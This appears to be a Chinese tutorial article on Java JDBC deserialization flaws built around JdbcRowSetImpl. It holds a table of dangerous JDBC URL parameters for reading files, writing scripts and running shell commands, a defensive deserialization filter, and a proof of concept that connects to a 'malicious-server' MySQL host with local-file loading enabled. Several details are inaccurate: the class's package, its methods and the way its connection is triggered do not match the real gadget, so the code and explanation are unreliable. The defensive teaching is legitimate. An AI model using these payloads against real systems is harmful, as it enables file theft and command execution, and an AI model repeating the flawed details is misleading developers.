java

关注公众号 jb51net

关闭
首页 > 软件编程 > java > Java JDBC 反序列化

Java JDBC 反序列化实战案例

作者:独角鲸网络安全实验室

这篇文章主要介绍了Java JDBC 反序列化实战案例,本文结合实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考下吧

JDBC(Java Database Connectivity)是Java访问数据库的标准API,其核心定位是提供数据库连接、SQL执行、结果集处理的内存态操作接口——JDBC核心组件(DriverConnectionStatementResultSet)本身不设计序列化/反序列化能力,也不建议被持久化或跨网络传输。

但在实际开发中,基于JDBC的扩展组件(如RowSet、数据源实现)或自定义JDBC封装类,可能因实现Serializable接口、反序列化时执行危险操作(如加载恶意类、执行SQL注入、连接恶意数据库),导致反序列化漏洞。

一、核心前提:JDBC与序列化的本质关系

1. JDBC核心组件的设计初衷

JDBC核心API(java.sql.*包)的对象(如ConnectionStatementResultSet)是数据库连接的运行时句柄,依赖底层Socket连接和数据库会话状态,设计目标是“内存中临时使用”,不支持序列化(未实现Serializable接口)。

2. 风险来源:JDBC扩展组件的序列化支持

漏洞并非来自JDBC标准本身,而是来自基于JDBC的扩展组件——这些组件为了支持“数据持久化”或“跨进程传输”,实现了Serializable接口,但在反序列化过程中执行了危险逻辑:

二、典型漏洞原理:以JdbcRowSetImpl为例

JdbcRowSetImpl是JDK自带的RowSet实现(javax.sql.rowset包),支持序列化,其反序列化漏洞是JDBC相关反序列化风险的典型代表,影响JDK 8u121之前的版本(后续JDK通过安全修复限制了危险操作)。

1. 漏洞触发链路

JdbcRowSetImpl的反序列化漏洞核心是:反序列化时自动执行数据库连接逻辑,且连接参数(URL、驱动类、用户名、密码)可被攻击者控制

关键流程拆解:

// 1. JdbcRowSetImpl实现Serializable接口,允许序列化/反序列化
public class JdbcRowSetImpl implements Serializable, JdbcRowSet { ... }
// 2. 反序列化时调用readObject()方法(默认或自定义)
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ois.defaultReadObject(); // 读取序列化的属性(url、user、password、driverClass等)
    internalInit(); // 初始化内部状态
    connect(); // 关键:反序列化时自动建立数据库连接
}
// 3. connect()方法的危险逻辑
private void connect() throws SQLException {
    if (driverClass != null) {
        Class.forName(driverClass); // 加载驱动类(若driverClass可控,可加载恶意类)
    }
    // 建立数据库连接(若URL可控,可利用JDBC驱动的危险参数执行命令)
    this.conn = DriverManager.getConnection(url, user, password);
}

2. 漏洞放大:JDBC驱动的危险特性

不同数据库的JDBC驱动支持一些“危险URL参数”,若攻击者控制JdbcRowSetImplurl属性,可通过这些参数执行恶意操作:

数据库危险URL参数危害
MySQLallowLoadLocalInfile=true读取本地文件(配合SQL注入)
MySQLlogOutput=FILE&logFile=/tmp/malicious.sh写入恶意文件
PostgreSQLoptions=-c 'shell command'执行系统命令(需数据库权限)
恶意驱动jdbc:malicious://...加载自定义恶意JDBC驱动,执行任意代码

3. 漏洞触发条件

三、其他JDBC相关反序列化风险点

1. 第三方数据源组件

2. ORM工具与JDBC的结合场景

3. 自定义JDBC封装类

开发者常自定义Serializable的JDBC工具类(如DBUtil),若存在以下情况,可能引入漏洞:

四、漏洞防御方案(核心:阻断危险反序列化链路)

JDBC相关反序列化漏洞的防御核心是:避免序列化JDBC相关对象、限制反序列化类范围、禁用危险功能、验证数据来源

1. 根本原则:禁止序列化JDBC相关对象

2. 限制反序列化的类范围(最有效)

使用反序列化过滤器,只允许信任的类进行反序列化,禁止危险类(如javax.sql.rowset.*、第三方数据源类):

示例:Java 9+ ObjectInputFilter配置

// 仅允许com.example包下的类和Java基础类反序列化,禁止javax.sql.rowset.*
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
    "com.example.*; java.base/*; !javax.sql.rowset.*; !org.apache.commons.dbcp.*"
);
ObjectInputStream ois = new ObjectInputStream(inputStream);
ois.setObjectInputFilter(filter); // 设置过滤器
Object obj = ois.readObject(); // 仅允许白名单类反序列化

3. 禁用JDBC驱动的危险功能

配置JDBC URL时,显式禁用危险参数:

4. 验证序列化数据的来源与完整性

5. 升级依赖组件

6. 避免自定义危险的readObject方法

若必须自定义Serializable类(如DTO),需满足:

五、实战案例:JdbcRowSetImpl漏洞POC(仅供学习)

以下POC演示如何构造恶意JdbcRowSetImpl序列化数据,触发反序列化时的恶意数据库连接(需在JDK 8u121之前环境测试):

1. 构造恶意序列化数据

import javax.sql.rowset.JdbcRowSetImpl;
import java.io.*;
public class JdbcRowSetPoc {
    public static void main(String[] args) throws Exception {
        // 1. 构造恶意JdbcRowSetImpl对象(控制URL和驱动类)
        JdbcRowSetImpl rowSet = new JdbcRowSetImpl();
        rowSet.setUrl("jdbc:mysql://malicious-server:3306/test?allowLoadLocalInfile=true"); // 恶意URL
        rowSet.setDriverClass("com.mysql.cj.jdbc.Driver"); // 合法驱动(或恶意驱动类名)
        rowSet.setUsername("attacker");
        rowSet.setPassword("pass123");
        // 2. 序列化对象到字节流(攻击者可将该字节流注入目标应用)
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(rowSet);
        byte[] maliciousData = bos.toByteArray();
        // 3. 目标应用反序列化(模拟漏洞触发)
        ByteArrayInputStream bis = new ByteArrayInputStream(maliciousData);
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject(); // 反序列化时触发connect(),连接恶意MySQL服务器
    }
}

2. 漏洞危害说明

六、总结:JDBC反序列化漏洞的核心认知

  1. 漏洞根源不是JDBC本身:JDBC标准API不支持序列化,风险来自“实现了Serializable的JDBC扩展组件”和“不当的序列化实践”;
  2. 触发核心是“反序列化+危险操作”:漏洞的关键是反序列化过程中自动执行数据库连接、类加载等危险逻辑,且输入参数可控;
  3. 防御核心是“最小权限+可信数据”:限制反序列化类范围、禁止序列化JDBC相关对象、禁用危险功能、验证数据来源,即可阻断绝大多数风险。

在实际开发中,应遵循“能不序列化则不序列化”的原则,若必须序列化,仅传输纯数据(DTO),而非包含业务逻辑(如数据库连接)的对象。同时,通过反序列化过滤器、组件升级、参数校验等手段,构建多层防御体系。

到此这篇关于Java JDBC 反序列化深度解析的文章就介绍到这了,更多相关Java JDBC 反序列化内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

您可能感兴趣的文章:
阅读全文